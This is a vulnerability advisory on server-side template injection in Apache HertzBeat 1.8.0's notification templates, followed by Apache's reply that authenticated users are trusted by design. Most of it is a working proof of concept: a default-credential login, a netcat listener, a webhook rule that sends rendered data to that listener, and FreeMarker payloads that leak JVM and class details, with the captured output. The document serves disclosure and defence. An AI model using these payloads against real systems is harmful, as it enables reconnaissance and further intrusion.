Severity: HIGH (info disclosure; RCE/file I/O blocked)
Product: https://hertzbeat.apache.org/ (v1.8.0)
Component: AbstractAlertNotifyHandlerImpl.renderContent() (hertzbeat-alerter)
FreeMarker: 2.3.34 (compatibility 2.3.0)
Auth Required: admin or user role
Author: Brett Gervasoni
Date: 2026-03-09
renderContent() processes user-controlled FreeMarker templates without adequate sandboxing. Authenticated users create custom notification templates via POST /api/notice/template. When an alert fires, FreeMarker renders the template server-side, exposing:
SAFER_RESOLVER and EXPOSE_SAFE block RCE and file I/O, but property traversal on full JPA entities still yields extensive info disclosure.
AbstractAlertNotifyHandlerImpl.java lines 55–77:
protected String renderContent(NoticeTemplate noticeTemplate, GroupAlert alert)
throws TemplateException, IOException {
StringTemplateLoader stringLoader = new StringTemplateLoader();
Configuration cfg = new Configuration(Configuration.VERSION_2_3_0); // Legacy permissive
cfg.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER);
Map<String, Object> model = new HashMap<>(16);
model.put("alerts", alert.getAlerts()); // Full JPA entities with .class, .protectionDomain
model.put("groupLabels", alert.getGroupLabels());
model.put("commonLabels", alert.getCommonLabels());
model.put("commonAnnotations", alert.getCommonAnnotations());
// ...
stringLoader.putTemplate(templateName, noticeTemplate.getContent()); // User-controlled
cfg.setTemplateLoader(stringLoader);
templateRes = cfg.getTemplate(templateName, Locale.CHINESE);
return FreeMarkerTemplateUtils.processTemplateIntoString(templateRes, model);
}
Chain: Authenticate → Create malicious template → Create webhook receiver → Create notification rule → Trigger alert → Rendered output (with leaked data) is sent to your webhook.
POST /api/account/auth/form HTTP/1.1
Host: TARGET:1157
Content-Type: application/json
{"type":0,"identifier":"admin","credential":"hertzbeat"}
Use the JWT from data.token as Authorization: Bearer <token> in all subsequent requests.
The content field is a FreeMarker template. Use type: 2 (webhook).
Start netcat, then create receiver and rule (replace IDs from GET responses):
# netcat (attacker machine)
while true; do printf 'HTTP/1.1 200 OK\r\nContent-Length: 2\r\n\r\nOK' | nc -l 9999; done
POST /api/notice/receiver
{"name":"ssti-receiver","type":2,"hookUrl":"http://host.docker.internal:9999/webhook"}
POST /api/notice/rule (use IDs from GET /api/notice/receivers and GET /api/notice/templates)
{"name":"ssti-rule","receiverId":[7],"receiverName":["ssti-receiver"],"templateId":7,"templateName":"ssti-template","enable":true,"filterAll":true}
POST /api/alerts/report HTTP/1.1
Host: TARGET:1157
Authorization: Bearer <token>
Content-Type: application/json
{"labels":{"alertname":"SSTIProof123","instance":"test","severity":"critical"},"annotations":{"summary":"SSTI PoC"},"content":"Trigger","status":"firing","startAt":1234567890000,"activeAt":1234567890000,"triggerTimes":1}
Within seconds, the webhook receives the rendered template with leaked data.
This payload leaks filesystem paths, classloader identity, and all JVM security permissions.
Template content (create via POST /api/notice/template):
{"protection_domain": "<#attempt>${alerts[0].class.protectionDomain}<#recover>blocked</#attempt>"}
Full POST request:
POST /api/notice/template HTTP/1.1
Host: TARGET:1157
Authorization: Bearer <token>
Content-Type: application/json
{"name":"ssti-template","type":2,"preset":false,"content":"{\"protection_domain\": \"<#attempt>${alerts[0].class.protectionDomain}<#recover>blocked</#attempt>\"}"}
Excerpt of captured output:
{"protection_domain": "ProtectionDomain (file:/opt/hertzbeat/lib/hertzbeat-common-2.0-SNAPSHOT.jar <no signer certificates>)
jdk.internal.loader.ClassLoaders$AppClassLoader@764c12b6
<no principals>
java.security.Permissions@4cf7242f (
("java.io.FilePermission" "/opt/hertzbeat/lib/hertzbeat-common-2.0-SNAPSHOT.jar" "read")
("java.net.SocketPermission" "localhost:0" "listen,resolve")
("java.util.PropertyPermission" "os.name" "read")
("java.util.PropertyPermission" "os.arch" "read")
...
)
"}
Impact: Filesystem paths, classloader address, OS properties, and full permission set — usable to fingerprint the deployment and plan further attacks.
Data model keys:
{"keys": "${.data_model?keys?join('|')}"}
→ commonLabels|alerts|groupLabels|consoleUrl|title|commonAnnotations|status
Java class name:
{"class": "<#if alerts?? && (alerts?size > 0)>${alerts[0].class.name}</#if>"}
→ org.apache.hertzbeat.common.entity.alerter.SingleAlert
Entity fields and types:
{"fields": "<#attempt><#list alerts[0].class.declaredFields as f>${f.name}:${f.type.name},</#list><#recover>blocked</#attempt>"}
→ id:java.lang.Long,fingerprint:java.lang.String,labels:java.util.Map,...
Official response from Apache Security Team:
As documented in HertzBeat's security model at https://hertzbeat.apache.org/docs/help/security_model, this is expected, intended functionality: it is up to the operator to make sure only trusted users are given access to HertzBeat. Customization is a feature, and users are responsible for their own custom templates. It's expected that any authenticated user is trusted with admin capabilities.
The permission model in HertzBeat has not been finished yet, though the product has shipped. See the HertzBeat Security Model documentation for details.
This is what Apache had to say about role-based permissions:
Please note that the role permission function is being improved, please do not use roles to control user permissions, all users have management permissions